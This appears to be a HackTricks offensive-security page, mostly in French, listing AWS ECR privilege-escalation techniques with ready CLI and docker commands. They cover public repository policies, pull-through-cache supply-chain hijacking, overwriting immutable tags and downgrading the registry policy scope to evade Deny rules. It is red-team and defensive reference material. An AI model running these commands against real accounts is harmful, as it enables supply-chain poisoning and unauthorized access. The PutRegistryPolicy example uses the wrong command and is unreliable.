AWS - ECR Privesc

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un attaquant disposant de ecr:GetAuthorizationToken et ecr:BatchGetImage peut se connecter à ECR et télécharger des images.

Pour plus d'infos sur la façon de télécharger des images :

AWS - ECR Post Exploitation

Impact potentiel : privesc indirecte en interceptant des informations sensibles dans le trafic.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un attaquant disposant de toutes ces permissions peut se connecter à ECR et téléverser des images. Cela peut être utile pour escalate privileges vers d'autres environnements où ces images sont utilisées.

Pour apprendre comment téléverser une nouvelle image / mettre à jour une image, consultez :

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Comme la section précédente, mais pour les dépôts publics.

ecr:SetRepositoryPolicy

Un attaquant disposant de cette permission pourrait modifier la politique du dépôt pour s'accorder (ou même accorder à tout le monde) un accès lecture/écriture.
Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenu de my-policy.json :

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Comme la section précédente, mais pour les dépôts publics.
Un attaquant peut modifier la politique du dépôt d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour escalader ses privilèges.

bash
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impact potentiel : Accès public non autorisé au dépôt ECR Public, permettant à n'importe quel utilisateur de push, pull ou delete images.

ecr:PutRegistryPolicy

Un attaquant disposant de cette permission pourrait modifier la registry policy pour s'octroyer, à lui-même, à son compte (ou même à tout le monde) read/write access.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Abuser des règles ECR Pull Through Cache (PTC) pour mapper un namespace upstream attacker-controlled sur un préfixe privé ECR de confiance. Cela permet aux workloads qui pullent depuis le private ECR de recevoir de manière transparente des attacker images sans aucun push vers le private ECR.

  • Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez ECR Public comme upstream : ecr-public:* pour créer/pusher vers le repo public.
  • Tested upstream: public.ecr.aws

Étapes (exemple):

  1. Préparer l'image attacker dans ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Créer la règle PTC dans le private ECR pour mapper un préfixe de confiance vers le registre public aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

  2. Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Impact potentiel : compromission de la chaîne d'approvisionnement en détournant les noms d'images internes sous le préfixe choisi. Tout workload pullant des images depuis le private ECR utilisant ce préfixe recevra du attacker-controlled content.

ecr:PutImageTagMutability

Abuser de cette permission pour basculer un repository dont les tags sont immutables vers mutable et écraser des tags de confiance (par ex. latest, stable, prod) avec attacker-controlled content.

  • Permissions requises : ecr:PutImageTagMutability plus les capacités de push (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Impact : compromission de la chaîne d'approvisionnement en remplaçant silencieusement des tags immuables sans changer les noms des tags.

Étapes (exemple):

Empoisonner un tag immuable en basculant la mutabilité
bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod

Détournement global du registre via une règle ROOT Pull-Through Cache

Créez une règle Pull-Through Cache (PTC) en utilisant le paramètre spécial ecrRepositoryPrefix=ROOT pour mapper la racine du registre ECR privé vers un registre public upstream (par ex., ECR Public). Tout pull vers un repository inexistant dans le registre privé sera servi de façon transparente depuis l'upstream, permettant un supply-chain hijacking sans pousser d'images vers l'ECR privé.

  • Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Impact : Les pulls vers <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> réussissent et créent automatiquement des repos privés provenant de l'upstream.

Note : Pour les règles ROOT, omettez --upstream-repository-prefix. Le fournir provoquera une erreur de validation.

Démo (us-east-1, upstream public.ecr.aws)
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true

ecr:PutAccountSetting (Rétrograder REGISTRY_POLICY_SCOPE to bypass registry policy denies)

Exploiter ecr:PutAccountSetting pour changer la portée de la registry policy de V2 (policy applied to all ECR actions) à V1 (policy applied only to CreateRepository, ReplicateImage, BatchImportUpstreamImage). Si une registry policy restrictive Deny bloque des actions comme CreatePullThroughCacheRule, la rétrogradation vers V1 supprime cette application de sorte que les identity‑policy Allows prennent effet.

  • Permissions requises : ecr:PutAccountSetting, ecr:PutRegistryPolicy, ecr:GetRegistryPolicy, ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule.
  • Impact : Possibilité d'effectuer des actions ECR auparavant bloquées par une registry policy Deny (par ex., créer des règles PTC) en définissant temporairement la portée sur V1.

Étapes (exemple) :

Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks